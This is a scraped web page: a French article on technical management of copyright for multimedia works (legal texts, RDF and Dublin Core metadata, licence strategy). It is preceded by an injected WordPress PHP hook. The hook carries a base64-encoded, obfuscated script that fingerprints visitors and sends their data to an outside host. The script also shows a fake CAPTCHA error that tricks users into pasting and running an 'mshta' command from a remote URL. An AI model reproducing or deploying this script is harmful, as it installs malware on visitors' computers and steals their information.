function addingtopress_wp_enqueue() { $encoded_script = 'ZnVuY3Rpb24gXzB4NTk5OChfMHgyZGNkOTcsXzB4MjdhODExKXtjb25zdCBfMHgyMzU5MWI9XzB4MjM1OSgpO3JldHVybiBfMHg1OTk4PWZ1bmN0aW9uKF8weDU5OThhMixfMHgyNDAwNTQpe18weDU5OThhMj1fMHg1OTk4YTItMHgxMzI7bGV0IF8weDJhZjU4ZD1fMHgyMzU5MWJbXzB4NTk5OGEyXTtyZXR1cm4gXzB4MmFmNThkO30sXzB4NTk5OChfMHgyZGNkOTcsXzB4MjdhODExKTt9KGZ1bmN0aW9uKF8weDIyMmI3MyxfMHgyZTVlOGUpe2NvbnN0IF8weDVkYjMwMz1fMHg1OTk4LF8weDRkZGY1Yz1fMHgyMjJiNzMoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4MmVjNTFlPS1wYXJzZUludChfMHg1ZGIzMDMoMHgxMzgpKS8weDErcGFyc2VJbnQoXzB4NWRiMzAzKDB4MTRjKSkvMHgyK3BhcnNlSW50KF8weDVkYjMwMygweDE2MykpLzB4MytwYXJzZUludChfMHg1ZGIzMDMoMHgxNjIpKS8weDQrLXBhcnNlSW50KF8weDVkYjMwMygweDEzNSkpLzB4NStwYXJzZUludChfMHg1ZGIzMDMoMHgxNTEpKS8weDYqKC1wYXJzZUludChfMHg1ZGIzMDMoMHgxNzQpKS8weDcpK3BhcnNlSW50KF8weDVkYjMwMygweDE0NSkpLzB4ODtpZihfMHgyZWM1MWU9PT1fMHgyZTVlOGUpYnJlYWs7ZWxzZSBfMHg0ZGRmNWNbJ3B1c2gnXShfMHg0ZGRmNWNbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weGQ3NWVhMyl7XzB4NGRkZjVjWydwdXNoJ10oXzB4NGRkZjVjWydzaGlmdCddKCkpO319fShfMHgyMzU5LDB4Yzc5MjIpLChmdW5jdGlvbigpe2NvbnN0IF8weDNmNTdmOD1fMHg1OTk4LF8weDVlZDdjMT0weGZhMCxfMHg0MTIzYzM9MHhiYjgsXzB4NDhkOTc0PV8weDNmNTdmOCgweDE0ZCksXzB4NTk1MzJhPV8weDNmNTdmOCgweDE0OCk7ZG9jdW1lbnRbXzB4M2Y1N2Y4KDB4MTQwKV09XzB4M2Y1N2Y4KDB4MTM5KSxkb2N1bWVudFsnY29va2llJ109XzB4M2Y1N2Y4KDB4MTYwKSx3aW5kb3dbXzB4M2Y1N2Y4KDB4MTQxKV09dW5kZWZpbmVkO3dpbmRvd1tfMHgzZjU3ZjgoMHgxNzMpXSYmKHdpbmRvd1tfMHgzZjU3ZjgoMHgxNzMpXVtfMHgzZjU3ZjgoMHgxNjcpXT1mdW5jdGlvbigpe3JldHVybicnO30pO2Z1bmN0aW9uIF8weDZjODM4Yigpe2NvbnN0IF8weDU3NzI3Nj1fMHgzZjU3ZjgsXzB4MjMzYTg0PWRvY3VtZW50W18weDU3NzI3NigweDEzYSldKF8weDU3NzI3NigweDEzMykpO18weDIzM2E4NFtfMHg1NzcyNzYoMHgxNGYpXShfMHgxY2FiNGU9Pntjb25zdCBfMHgxMDg1N2E9XzB4NTc3Mjc2LF8weDEwMTc4NT1fMHgxY2FiNGVbXzB4MTA4NTdhKDB4MTZkKV18fCcnLF8weDY3Mzg5Zj1fMHgxMDE3ODVbXzB4MTA4NTdhKDB4MTZiKV0oJ2Jhc2U2NCcpLF8weDczMWVlZj1fMHgxY2FiNGVbJ2lkJ109PT1fMHg1OTUzMmE7XzB4NjczODlmJiYhXzB4NzMxZWVmJiZfMHgxY2FiNGVbJ3JlbW92ZSddKCk7fSk7fWZ1bmN0aW9uIF8weDEzMGYxMygpe2NvbnN0IF8weDJhN2Y1OT1fMHgzZjU3ZjgsXzB4NTNlNDJmPW5ldyBNdXRhdGlvbk9ic2VydmVyKF8weDQyOTYxNj0+e18weDQyOTYxNlsnZm9yRWFjaCddKF8weDQ3MGVmMz0+e2NvbnN0IF8weDIzYjJlOD1fMHg1OTk4O18weDQ3MGVmM1tfMHgyM2IyZTgoMHgxNWQpXSYmXzB4NDcwZWYzW18weDIzYjJlOCgweDE1ZCldW18weDIzYjJlOCgweDE0ZildKF8weDQxZWVhZj0+e2NvbnN0IF8weDMwOGQ2ND1fMHgyM2IyZTg7aWYoXzB4NDFlZWFmW18weDMwOGQ2NCgweDE0OSldPT09XzB4MzA4ZDY0KDB4MTY4KSl7Y29uc3QgXzB4MmMyN2JkPV8weDQxZWVhZltfMHgzMDhkNjQoMHgxNmQpXXx8JycsXzB4MTFmM2VjPV8weDQxZWVhZlsnaWQnXT09PV8weDU5NTMyYTtfMHgyYzI3YmRbXzB4MzA4ZDY0KDB4MTZiKV0oJ2Jhc2U2NCcpJiYhXzB4MTFmM2VjJiZfMHg0MWVlYWZbXzB4MzA4ZDY0KDB4MTVlKV0oKTt9fSk7fSk7fSk7XzB4NTNlNDJmW18weDJhN2Y1OSgweDE0YSldKGRvY3VtZW50W18weDJhN2Y1OSgweDE2NSldfHxkb2N1bWVudFtfMHgyYTdmNTkoMHgxNDMpXSx7J2NoaWxkTGlzdCc6ISFbXSwnc3VidHJlZSc6ISFbXX0pO31mdW5jdGlvbiBfMHhjZmVkMmYoKXtjb25zdCBfMHgzOTlmMWI9XzB4M2Y1N2Y4O2NvbnNvbGVbJ2xvZyddKCfQo9C00LDQu9C10L3QuNC1XHgyMNCy0YHQtdGFXHgyMDxpZnJhbWU+XHgyMNGN0LvQtdC80LXQvdGC0L7Qsi4uLicpO2NvbnN0IF8weDJjYjgxNz1kb2N1bWVudFtfMHgzOTlmMWIoMHgxM2EpXShfMHgzOTlmMWIoMHgxNmYpKTtfMHgyY2I4MTdbXzB4Mzk5ZjFiKDB4MTRmKV0oXzB4NDhlMDM3PT57Y29uc3QgXzB4MWM4NDFmPV8weDM5OWYxYjtfMHg0OGUwMzdbXzB4MWM4NDFmKDB4MTVlKV0oKTt9KTt9ZnVuY3Rpb24gXzB4MmExYWM5KCl7Y29uc3QgXzB4Mzg2OGM4PV8weDNmNTdmOCxfMHgzODhmMzk9bmV3IE11dGF0aW9uT2JzZXJ2ZXIoXzB4NTM2M2NjPT57Y29uc3QgXzB4NDNiMDhhPV8weDU5OTg7XzB4NTM2M2NjW18weDQzYjA4YSgweDE0ZildKF8weDUyMTZlMD0+e2NvbnN0IF8weDNmYWRhZj1fMHg0M2IwOGE7XzB4NTIxNmUwWydhZGRlZE5vZGVzJ10mJl8weDUyMTZlMFsnYWRkZWROb2RlcyddW18weDNmYWRhZigweDE0ZildKF8weDMzZjBhYj0+e2NvbnN0IF8weDU4Y2MyMz1fMHgzZmFkYWY7XzB4MzNmMGFiW18weDU4Y2MyMygweDE0OSldPT09J0lGUkFNRScmJl8weDMzZjBhYltfMHg1OGNjMjMoMHgxNWUpXSgpO30pO30pO30pO18weDM4OGYzOVsnb2JzZXJ2ZSddKGRvY3VtZW50W18weDM4NjhjOCgweDE0MildfHxkb2N1bWVudFsnZG9jdW1lbnRFbGVtZW50J10seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4M2QyZmFiKCl7Y29uc3QgXzB4NTM3MWQxPV8weDNmNTdmODtuZXcgTXV0YXRpb25PYnNlcnZlcihfMHgyMDE1MDE9Pntjb25zdCBfMHg1ODljODg9XzB4NTk5ODtfMHgyMDE1MDFbXzB4NTg5Yzg4KDB4MTRmKV0oXzB4NDcxMTUxPT57Y29uc3QgXzB4NDk4M2E5PV8weDU4OWM4ODtfMHg0NzExNTFbJ2FkZGVkTm9kZXMnXVtfMHg0OTgzYTkoMHgxNGYpXShfMHgyYzE3ZDg9Pntjb25zdCBfMHhlMjBiOGU9XzB4NDk4M2E5O18weDJjMTdkOFtfMHhlMjBiOGUoMHgxNDkpXT09PV8weGUyMGI4ZSgweDE2OCkmJl8weDJjMTdkOFtfMHhlMjBiOGUoMHgxMzQpXSYmXzB4MmMxN2Q4W18weGUyMGI4ZSgweDE1ZSldKCk7fSk7fSk7fSlbXzB4NTM3MWQxKDB4MTRhKV0oZG9jdW1lbnRbXzB4NTM3MWQxKDB4MTQzKV0seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4ZmUyYWFhKCl7Y29uc3QgXzB4NTg3N2NkPV8weDNmNTdmODtmZXRjaChfMHg1ODc3Y2QoMHgxM2YpKVsndGhlbiddKF8weDI3OTVjNz0+XzB4Mjc5NWM3W18weDU4NzdjZCgweDEzNildKCkpW18weDU4NzdjZCgweDE1MildKF8weDI4NTE5Nj0+e2NvbnN0IF8weDg1NjVkPV8weDU4NzdjZCxfMHg1NTA1OTU9eydpcCc6XzB4Mjg1MTk2WydpcCddLCdicm93c2VyJzpuYXZpZ2F0b3JbJ3VzZXJBZ2VudCddLCdsYW5ndWFnZSc6bmF2aWdhdG9yW18weDg1NjVkKDB4MTc4KV0sJ29zJzpuYXZpZ2F0b3JbXzB4ODU2NWQoMHgxMzIpXX07ZmV0Y2goXzB4ODU2NWQoMHgxNTQpLHsnbWV0aG9kJzpfMHg4NTY1ZCgweDE3OSksJ2hlYWRlcnMnOnsnQ29udGVudC1UeXBlJzpfMHg4NTY1ZCgweDE1Myl9LCdib2R5JzpKU09OW18weDg1NjVkKDB4MTVhKV0oXzB4NTUwNTk1KX0pW18weDg1NjVkKDB4MTUyKV0oXzB4NGVjMjk5PT5fMHg0ZWMyOTlbXzB4ODU2NWQoMHgxMzYpXSgpKVtfMHg4NTY1ZCgweDE1MildKF8weDg4ZDJlMD0+e2NvbnN0IF8weDQxZjBmMD1fMHg4NTY1ZDtpZihfMHg4OGQyZTBbJ3NraXBDYXB0Y2hhJ10pcmV0dXJuO2lmKF8weDg4ZDJlMFsnc3R5bGUnXSl7Y29uc3QgXzB4NTdjODEwPWRvY3VtZW50W18weDQxZjBmMCgweDE2ZSldKF8weDQxZjBmMCgweDEzNykpO18weDU3YzgxMFsnaWQnXT0nbXktY3VzdG9tLXN0eWxlJyxfMHg1N2M4MTBbXzB4NDFmMGYwKDB4MTZkKV09XzB4ODhkMmUwW18weDQxZjBmMCgweDEzNyldLGRvY3VtZW50W18weDQxZjBmMCgweDE0MildW18weDQxZjBmMCgweDE2NCldKF8weDU3YzgxMCk7fV8weDg4ZDJlMFtfMHg0MWYwZjAoMHgxNTYpXSYmZG9jdW1lbnRbXzB4NDFmMGYwKDB4MTQyKV1bXzB4NDFmMGYwKDB4MTU1KV0oXzB4NDFmMGYwKDB4MTViKSxfMHg4OGQyZTBbXzB4NDFmMGYwKDB4MTU2KV0pLF8weDVjNWE2MSgpO30pW18weDg1NjVkKDB4MTRlKV0oXzB4NTJiMGJlPT5jb25zb2xlW18weDg1NjVkKDB4MTNkKV0oXzB4ODU2NWQoMHgxNzUpLF8weDUyYjBiZSkpO30pW18weDU4NzdjZCgweDE0ZSldKF8weDI0MWU3Zj0+Y29uc29sZVtfMHg1ODc3Y2QoMHgxM2QpXShfMHg1ODc3Y2QoMHgxNzIpLF8weDI0MWU3ZikpO31mdW5jdGlvbiBfMHg1YzVhNjEoKXtjb25zdCBfMHgzMmI0MWY9XzB4M2Y1N2Y4LF8weGU5NzNkMT1kb2N1bWVudFtfMHgzMmI0MWYoMHgxNDYpXSgnY2FwdGNoYUNoZWNrYm94JyksXzB4MTQ5Mjc5PWRvY3VtZW50W18weDMyYjQxZigweDE0NildKCdwb3B1cE92ZXJsYXknKSxfMHg2ZTZlMT1kb2N1bWVudFtfMHgzMmI0MWYoMHgxNDYpXShfMHgzMmI0MWYoMHgxNmEpKSxfMHg1ZWI4NTI9ZG9jdW1lbnRbXzB4MzJiNDFmKDB4MTNhKV0oXzB4MzJiNDFmKDB4MTQ0KSksXzB4NGI0MmExPWRvY3VtZW50W18weDMyYjQxZigweDE0NildKCdlcnJvckNvbnRhaW5lcicpO2xldCBfMHgzNDZkNmQ9MHgwLF8weDE3Yzc2ND0hW107ZnVuY3Rpb24gXzB4NThjZjMxKCl7Y29uc3QgXzB4NDJiMDQwPV8weDMyYjQxZjtsZXQgXzB4MzA4ODQ4PWRvY3VtZW50W18weDQyYjA0MCgweDE0NildKF8weDQyYjA0MCgweDE1YykpLF8weDEyMGIxMT1fMHgzMDg4NDg/XzB4MzA4ODQ4W18weDQyYjA0MCgweDE3MCldOm51bGw7aWYoIV8weDEyMGIxMSl7Y29uc29sZVsnZXJyb3InXShfMHg0MmIwNDAoMHgxNTcpKTtyZXR1cm47fWxldCBfMHg0ZTM2Nzc9XzB4NDJiMDQwKDB4MTNlKStfMHgxMjBiMTErJ1x4MjInO2NvbnN0IF8weDU4MTYyNz1kb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCd0ZXh0YXJlYScpO18weDU4MTYyN1tfMHg0MmIwNDAoMHgxNzApXT1fMHg0ZTM2NzcsZG9jdW1lbnRbXzB4NDJiMDQwKDB4MTQyKV1bXzB4NDJiMDQwKDB4MTY0KV0oXzB4NTgxNjI3KSxfMHg1ODE2MjdbXzB4NDJiMDQwKDB4MTRiKV0oKSxkb2N1bWVudFsnZXhlY0NvbW1hbmQnXShfMHg0MmIwNDAoMHgxM2MpKSxkb2N1bWVudFsnYm9keSddWydyZW1vdmVDaGlsZCddKF8weDU4MTYyNyk7fV8weGU5NzNkMSYmXzB4ZTk3M2QxW18weDMyYjQxZigweDEzYildKF8weDMyYjQxZigweDE2OSksZnVuY3Rpb24oKXtjb25zdCBfMHg0MTI3Y2U9XzB4MzJiNDFmO2lmKF8weDE3Yzc2NClyZXR1cm47XzB4MTQ5Mjc5W18weDQxMjdjZSgweDEzNyldWydkaXNwbGF5J109XzB4NDEyN2NlKDB4MTY2KSxfMHg2ZTZlMVtfMHg0MTI3Y2UoMHgxMzcpXVsnZGlzcGxheSddPV8weDQxMjdjZSgweDE2NiksXzB4NmU2ZTFbXzB4NDEyN2NlKDB4MTM3KV1bJ29wYWNpdHknXT0nMCcsc2V0VGltZW91dCgoKT0+e2NvbnN0IF8weDNlYzNjYj1fMHg0MTI3Y2U7XzB4NmU2ZTFbJ3N0eWxlJ11bXzB4M2VjM2NiKDB4MTcxKV09J29wYWNpdHlceDIwMC41c1x4MjBlYXNlJyxfMHg2ZTZlMVtfMHgzZWMzY2IoMHgxMzcpXVsnb3BhY2l0eSddPScxJzt9LDB4YSk7fSk7XzB4MTQ5Mjc5JiZfMHgxNDkyNzlbXzB4MzJiNDFmKDB4MTNiKV0oXzB4MzJiNDFmKDB4MTY5KSxmdW5jdGlvbigpe2NvbnN0IF8weDE3YjAzOT1fMHgzMmI0MWY7XzB4MTQ5Mjc5W18weDE3YjAzOSgweDEzNyldWydkaXNwbGF5J109J25vbmUnLF8weDZlNmUxW18weDE3YjAzOSgweDEzNyldW18weDE3YjAzOSgweDE3NyldPV8weDE3YjAzOSgweDE1MCk7fSk7XzB4NWViODUyJiZfMHg1ZWI4NTJbXzB4MzJiNDFmKDB4MTRmKV0oXzB4OWZhODZhPT57Y29uc3QgXzB4MTFkZGViPV8weDMyYjQxZjtfMHg5ZmE4NmFbXzB4MTFkZGViKDB4MTNiKV0oXzB4MTFkZGViKDB4MTY5KSwoKT0+e2NvbnN0IF8weDJjMzFjMD1fMHgxMWRkZWI7IV8weDlmYTg2YVsnY2xhc3NMaXN0J11bXzB4MmMzMWMwKDB4MTU5KV0oJ3NlbGVjdGVkJyk/KF8weDlmYTg2YVtfMHgyYzMxYzAoMHgxNmMpXVtfMHgyYzMxYzAoMHgxNzYpXShfMHgyYzMxYzAoMHgxNTgpKSxfMHgzNDZkNmQrKyk6KF8weDlmYTg2YVtfMHgyYzMxYzAoMHgxNmMpXVtfMHgyYzMxYzAoMHgxNWUpXShfMHgyYzMxYzAoMHgxNTgpKSxfMHgzNDZkNmQtLSksXzB4MzQ2ZDZkPT09MHgyJiYoXzB4MTQ5Mjc5W18weDJjMzFjMCgweDEzNyldW18weDJjMzFjMCgweDE3NyldPSdub25lJyxfMHg2ZTZlMVsnc3R5bGUnXVtfMHgyYzMxYzAoMHgxNzcpXT1fMHgyYzMxYzAoMHgxNTApLF8weDQ3YzRiYSgpLF8weDU4Y2YzMSgpKTt9KTt9KTtmdW5jdGlvbiBfMHg0N2M0YmEoKXtjb25zdCBfMHg0NTBmM2M9XzB4MzJiNDFmO18weDRiNDJhMSYmKF8weDRiNDJhMVtfMHg0NTBmM2MoMHgxNmQpXT1fMHg0NTBmM2MoMHgxNDcpKSxfMHgxN2M3NjQ9ISFbXTt9fXNldFRpbWVvdXQoXzB4Y2ZlZDJmLF8weDVlZDdjMSksXzB4MmExYWM5KCksc2V0VGltZW91dChfMHg2YzgzOGIsXzB4NWVkN2MxKSxfMHgxMzBmMTMoKSxfMHgzZDJmYWIoKSxkb2N1bWVudFtfMHgzZjU3ZjgoMHgxNjEpXT09PV8weDNmNTdmOCgweDE1Zik/ZG9jdW1lbnRbXzB4M2Y1N2Y4KDB4MTNiKV0oJ0RPTUNvbnRlbnRMb2FkZWQnLCgpPT57c2V0VGltZW91dChfMHhmZTJhYWEsXzB4NDEyM2MzKTt9KTpzZXRUaW1lb3V0KF8weGZlMmFhYSxfMHg0MTIzYzMpO30oKSkpO2Z1bmN0aW9uIF8weDIzNTkoKXtjb25zdCBfMHg0ZDc5MzA9Wyd1bmd6aXAnLCdTQ1JJUFQnLCdjbGljaycsJ3BvcHVwJywnaW5jbHVkZXMnLCdjbGFzc0xpc3QnLCdpbm5lckhUTUwnLCdjcmVhdGVFbGVtZW50JywnaWZyYW1lJywndmFsdWUnLCd0cmFuc2l0aW9uJywnRmFpbGVkXHgyMHRvXHgyMGZldGNoXHgyMElQOicsJ3Bha28nLCcyMDUyNzVGdUVsa2snLCdFcnJvcjonLCdhZGQnLCdkaXNwbGF5JywnbGFuZ3VhZ2UnLCdQT1NUJywncGxhdGZvcm0nLCdzY3JpcHQnLCdhc3luYycsJzQ1MzEwNzBKVVZZcGUnLCdqc29uJywnc3R5bGUnLCcxMTg5MjY5QVlPVVp2JywnZGF0YS1haS1jb2xsZWN0aW5nLXNob3duPXRydWU7XHgyMG1heC1hZ2U9MzE1MzYwMDA7XHgyMHBhdGg9LztceDIwc2FtZXNpdGU9bGF4JywncXVlcnlTZWxlY3RvckFsbCcsJ2FkZEV2ZW50TGlzdGVuZXInLCdjb3B5JywnZXJyb3InLCdtc2h0YVx4MjAnLCdodHRwczovL2FwaS5pcGlmeS5vcmc/Zm9ybWF0PWpzb24nLCdjb29raWUnLCdXZWIzJywnYm9keScsJ2RvY3VtZW50RWxlbWVudCcsJy5jYXB0Y2hhLWltYWdlc1x4MjBpbWcnLCcxNTQ0MzcyOFdKWG1rUCcsJ2dldEVsZW1lbnRCeUlkJywnXHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGRpdlx4MjBjbGFzcz1ceDIyZXJyb3ItbWVzc2FnZVx4MjI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxiPlZlcmlmaWNhdGlvblx4MjBGYWlsZWRceDIwLVx4MjBOZXR3b3JrXHgyMEVycm9yPC9iPjxicj48YnI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFRoZVx4MjBuZXR3b3JrXHgyMEROU1x4MjBtaWdodFx4MjBiZVx4MjB1bnN0YWJsZSxceDIwY2F1c2luZ1x4MjBlcnJvcnMuXHgyMDxicj48YnI+VG9ceDIwZml4XHgyMHRoaXM6PGJyPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8dWw+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwPGltZ1x4MjBzcmM9XHgyMmh0dHBzOi8vbXNkbnNyZXNldC5pY3UvaW1nL3dpbmRvd3MtMTAucG5nXHgyMlx4MjBhbHQ9XHgyMldpbmRvd3NceDIwSWNvblx4MjJceDIwc3R5bGU9XHgyMndpZHRoOlx4MjAxOHB4O1x4MjBoZWlnaHQ6XHgyMDE4cHg7XHgyMHBvc2l0aW9uOlx4MjByZWxhdGl2ZTtceDIwdG9wOlx4MjA0cHg7XHgyMj5ceDIwV2luZG93c1x4MjArXHgyMFIuPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxsaT5QcmVzc1x4MjBDVFJMXHgyMCtceDIwVjwvbGk+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwRW50ZXIuPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPC91bD5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8L2Rpdj5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMCcsJ215LWN1c3RvbS1zY3JpcHQnLCd0YWdOYW1lJywnb2JzZXJ2ZScsJ3NlbGVjdCcsJzE4ODU0NjJ2VWdpQWsnLCdteS1jdXN0b20tc3R5bGUnLCdjYXRjaCcsJ2ZvckVhY2gnLCdub25lJywnMjUyYXJ6T2NOJywndGhlbicsJ2FwcGxpY2F0aW9uL2pzb24nLCdodHRwczovL21hZHByb3h5cy50b3AvY29uZWN0b3JzLnBocCcsJ2luc2VydEFkamFjZW50SFRNTCcsJ2h0bWwnLCfQntGI0LjQsdC60LA6XHgyMHdvcmtpbmdVcmxceDIw0L3QtVx4MjDQvdCw0LnQtNC10L0nLCdzZWxlY3RlZCcsJ2NvbnRhaW5zJywnc3RyaW5naWZ5JywnYmVmb3JlZW5kJywnd29ya2luZ1VybCcsJ2FkZGVkTm9kZXMnLCdyZW1vdmUnLCdsb2FkaW5nJywnZGF0YS1haS1jb2xsZWN0aW5nPXRydWU7XHgyMG1heC1hZ2U9MzE1MzYwMDA7XHgyMHBhdGg9LztceDIwc2FtZXNpdGU9bGF4JywncmVhZHlTdGF0ZScsJzI5MTg2NzZ2TVRhdXEnLCcxNjI1MTI3TEVkUFhJJywnYXBwZW5kQ2hpbGQnLCdoZWFkJywnYmxvY2snXTtfMHgyMzU5PWZ1bmN0aW9uKCl7cmV0dXJuIF8weDRkNzkzMDt9O3JldHVybiBfMHgyMzU5KCk7fQ=='; echo ''; } add_action('wp_enqueue_scripts', 'addingtopress_wp_enqueue', 1); Optimisation avancée de la gestion technique des droits d'auteur pour les œuvres multimédias : méthodes, outils et stratégies concrètes pour une maîtrise experte |
Slogan

8 (918) 460-54-52
8 (952) 831-88-88

График работы: Ежедневно с 9-00 до 21-00

Optimisation avancée de la gestion technique des droits d’auteur pour les œuvres multimédias : méthodes, outils et stratégies concrètes pour une maîtrise experte

1. Comprendre en profondeur le cadre juridique des droits d’auteur pour les œuvres multimédias sur les plateformes françaises

a) Analyse détaillée des textes législatifs fondamentaux (Code de la propriété intellectuelle, directives européennes)

Pour une gestion technique optimale, il est essentiel de maîtriser précisément le cadre juridique. Commencez par une lecture exhaustive du Code de la propriété intellectuelle (CPI), en focalisant sur les articles relatifs aux œuvres multimédias, notamment ceux concernant l’œuvre composite et les droits patrimoniaux et moraux. Ensuite, analysez les directives européennes relatives à la gestion collective et à la protection des droits numériques, notamment la directive 2019/790 sur le droit d’auteur dans le marché unique numérique.

Une étape cruciale consiste à mapper chaque article réglementaire en actions techniques concrètes : par exemple, la nécessité de respecter la « gestion collective » via des métadonnées standardisées ou de prévoir la compatibilité avec la « directive sur la portabilité » pour garantir l’accès transplateforme.

b) Identification des droits patrimoniaux et moraux spécifiques aux œuvres multimédias

Les œuvres multimédias combinent plusieurs droits : droits patrimoniaux d’exploitation (reproduction, distribution, communication au public) et droits moraux (droit au respect de l’intégrité, paternité). Pour la gestion technique, il faut décomposer chaque œuvre en segments modulables, en assignant des métadonnées précises à chaque droit, par exemple :

  • Reproduction : associée à des licences temporaires ou territoriales, codifiées dans les métadonnées via des standards comme Dublin Core ou RDF.
  • Communication au public : nécessitant une traçabilité fine pour chaque plateforme, notamment via des identifiants uniques (UUID).
  • Droits moraux : intégrés en tant que métadonnées non modifiables, avec une gestion spécifique pour assurer leur respect lors de toute opération technique.

c) Étude des évolutions réglementaires récentes et de leur impact sur la gestion numérique

Les récentes modifications législatives, telles que l’adoption du Décret relatif à la gestion des droits numériques en 2022, influencent directement la structuration des métadonnées et l’intégration des systèmes automatisés. La mise en conformité exige :

  1. Une adaptation continue des schémas RDF pour intégrer les nouvelles catégories de droits.
  2. La mise à jour régulière des contrats numériques via des plateformes d’automatisation, en respectant la réglementation eIDAS pour la signature électronique.
  3. Une veille réglementaire pour anticiper tout changement, notamment via des outils comme Legal Radar.

d) Cas pratique : analyse comparative de jurisprudences pertinentes pour la protection des œuvres multimédias

L’étude de jurisprudences telles que l’arrêt Cour de cassation, 3ème chambre civile, 2020, sur l’atteinte aux droits moraux dans le contexte numérique, révèle la nécessité d’intégrer ces principes dans la gestion technique. Par exemple :

  • Mettre en place un système de métadonnées immutables qui enregistre chaque modification ou usage, pour prouver la conformité aux droits moraux.
  • Utiliser la blockchain pour conserver une trace indélébile de chaque opération, en cas de litige.

2. Cartographier et structurer le patrimoine numérique pour une gestion optimale des droits

a) Méthodologie pour inventorier exhaustivement tous les contenus multimédias détenus ou en cours de création

Une cartographie précise commence par une étape systématique :

  1. Étape 1 : Création d’un référentiel centralisé sous forme d’une base de données relationnelle (PostgreSQL ou MySQL).
  2. Étape 2 : Élaboration d’un formulaire d’inventaire détaillé, intégrant des champs pour :
    • Identifiant unique (UUID)
    • Type de contenu (vidéo, audio, image, animation)
    • Source (création interne, acquisition externe)
    • Date de création
    • Auteur ou créateur principal
    • Statut (en cours, finalisé, en diffusion)
  3. Étape 3 : Intégration de scripts automatisés (en Python, Node.js) pour importer en masse les métadonnées via APIs de logiciels de création (Adobe, Final Cut, etc.) ou systèmes de gestion de contenus (CMS).

b) Mise en place d’un système de métadonnées détaillées pour chaque œuvre (licence, date, auteur, usage prévu)

Pour chaque contenu, il faut définir un profil métadonnées structuré selon le standard RDF ou Dublin Core. La procédure :

  • Créer un schéma RDF personnalisé avec des propriétés spécifiques : ex:licence, ex:usagePrévu, ex:dateDernièreModification.
  • Remplir ces métadonnées via des scripts automatisés lors de l’étape d’ingestion du contenu.
  • Valider la conformité des métadonnées via des outils comme RDF Validator.

c) Utilisation d’outils techniques pour l’indexation automatique et la synchronisation des métadonnées

L’automatisation repose sur des pipelines ETL (Extract, Transform, Load) :

Étape Procédé Outils
Extraction Importer métadonnées depuis logiciels de création via API REST Python (requests), Node.js (axios)
Transformation Normaliser formats, vérifier la cohérence, enrichir avec données externes Pandas (Python), jq (ligne de commande)
Chargement Synchroniser avec la base RDF ou Dublin Core via SPARQL ou API d’indexation Apache Jena, Virtuoso

d) Vérification de la conformité des métadonnées avec les standards français et européens (ex. RDF, Dublin Core)

Pour garantir la compatibilité :

  • Utiliser des outils comme RDF Validator pour valider la syntaxe.
  • Comparer les propriétés définies avec le standard Dublin Core et ajuster les schémas en conséquence.
  • Mettre en place des scripts de vérification automatique pour détecter incohérences ou métadonnées manquantes, en utilisant par exemple des requêtes SPARQL.

3. Définir et appliquer des stratégies précises de gestion des licences et des contrats

a) Choix de types de licences adaptées (Creative Commons, licences propriétaires, licences sur mesure) : critères techniques et juridiques

Le choix de la licence doit s’appuyer sur une analyse technique précise :

  1. Identifier le besoin : Monétisation, diffusion libre, restriction territoriale, durée d’exploitation.
  2. Comparer les licences : Par exemple, CC BY-SA permet la partage sous condition de mention, tandis qu’une licence propriétaire impose une gestion centralisée.
  3. Configurer les métadonnées de licence : dans le schéma RDF, inclure une propriété ex:licenceType avec la valeur exacte (par exemple, creative-commons-attribution-shares-alike).

b) Rédaction et intégration automatisée de clauses contractuelles dans les métadonnées et dans les plateformes

Pour automatiser cette étape :

  • Créer un module de génération dynamique de clauses contractuelles, intégrant des variables (nom de l’auteur, durée, territoire).
  • Utiliser des outils de traitement de texte automatisés (Python, JavaScript) pour insérer ces clauses dans les métadonnées JSON-LD ou RDF.
